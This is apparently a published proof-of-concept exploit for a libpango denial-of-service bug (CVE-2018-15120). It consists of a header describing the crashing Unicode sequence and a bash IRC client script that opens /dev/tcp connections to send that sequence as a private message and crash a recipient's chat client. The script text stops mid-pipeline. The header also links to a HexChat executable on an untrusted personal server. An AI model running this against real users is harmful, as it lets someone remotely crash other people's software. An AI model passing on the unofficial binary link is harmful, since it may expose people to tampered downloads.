108 lines
No EOL
3.1 KiB
Bash
Executable file
108 lines
No EOL
3.1 KiB
Bash
Executable file
# Exploit Title: Libpango 1.40.8 - Denial of Service (PoC)
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# Date: 2018-08-06
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# Exploit Author: Jeffery M
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# Vendor Homepage: https://www.pango.org/
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# Software Link: http://ftp.gnome.org/pub/GNOME/sources/pango/1.40/pango-1.40.9.tar.xz
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# Version: 1.40.8+
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# Tested on: Windows 7, Gentoo
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# CVE : CVE-2018-15120
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# Patch : https://github.com/GNOME/pango/commit/71aaeaf020340412b8d012fe23a556c0420eda5f
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# Description:
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# Invalid Unicode sequences, such as 0x2665 0xfe0e 0xfe0f, can trick the
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# Emoji iter code into returning an empty segment, which then triggers
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# an assertion in the itemizer.
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# POC:
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# Save the below as irc_com_dump; chmod +x irc_com_dump;connect to an
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# irc server with something linked against libpango 1.40.8 or higher
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# (e.g. hexchat 2.14.1 [ can be obtained on my server
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# http://order.a.whore.website/HexChat%202.14.1%20x86.exe ), then run
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# the following:
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irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'
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This is a rudimentary example of how this attack can be used.
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#!/bin/bash
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# Name: irc_com_dump
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# Save this script as irc_com_dump
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# run as follows on irc.laks.ml or a server of your choice
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# irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'
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# When the user receives the message it will trigger the assertion fail.
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###
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helpfunc ()
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{
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sed -nre '/sed/d;/bash/,/###/{1d;s/^# //g;s/###//;p}' $0;
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}
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if [[ $# -lt 1 ]] || [[ $1 =~ ^-?-h ]] ; then
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helpfunc && exit 1
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fi
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# So we can send unicode without having to do shit.
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LC_ALL=en_US.utf8
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export LC_ALL
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export allargs=("$@")
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#test_ping ()
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#{
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# if [[ ! -n $PING ]]; then
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# export PING="$(echo $h| awk '/PING/{print "PONG "$2}')";
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# fi;
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#}
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if [[ -n ${DEBUG} ]] ; then
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declare -p allargs
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fi
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export name=magicrun${RANDOM}
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if [[ -n ${NORANDOM} ]] ; then
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export name=magicdebug
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fi
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run_irc_com ()
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{
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set -vx
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echo ${allargs[1]}
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# if ( ( ( [[ ! ${allargs[1]} =~ [a-zA-Z].* ]] || true) && ( [[
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${allargs[1]} =~ [0-9].*[0-9] ]] && [[ ! ${allargs[0]} =~ .*[.].*
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]] || true) ) ) ; then
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if [[ ! ${allargs[0]} =~ .*[.].* && ${allargs[1]} =~ ^[0-9]+[0-9]?$
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&& ! ${allargs[1]} =~ .*[a-zA-Z].* || $# -eq 1 ]] ; then
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export COMM="$@";
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else
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export s=$1
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export p=$2
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export COMM="${@:3}"
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if [[ $p =~ .*[a-zA-Z] ]] ; then
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unset s p
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export COMM="${allargs[@]}"
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fi
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fi
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test -z $s||false && exec 5<> /dev/tcp/irc.laks.ml/6667 || test
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-n $s && echo s is $s;exec 5<>/dev/tcp/$s/$p
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set +vx
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echo -e 'USER '${name}' 8 ''*'' :'${name}'\nNICK '${name}'\n' 1>&5
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2>&1 | stdbuf -i0 -o0 cat - 0<&5 > /dev/stdout | while read h; do
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if [[ ! -n $PING ]]; then
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export PING="$(echo $h| awk '/PING/{print "PONG "$2}')";
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fi;
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## test_ping;
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echo -e "${PING}\n" 1>&5
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if [[ ! -n $PINGSENT ]] && [[ -n $PING ]] ; then
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export PINGSENT=isentmyping;
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fi;
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if [[ -z $COMMSENT ]] && [[ -n $PINGSENT ]] && [[ -n $PING ]] ; then
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echo -e "${COMM}\nQUIT\n" 1>&5 2>&1
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fi
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echo "$h" 2>&1;
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done
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}
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run_irc_com ${allargs[@]} |& sed -ne "/:$name MODE $name
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:+iwx/,/\x04/p" | sed -e "/:$name MODE $name/d" -e '/^ERROR
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:Closing/d' | awk -F" $name " '{print $2}' |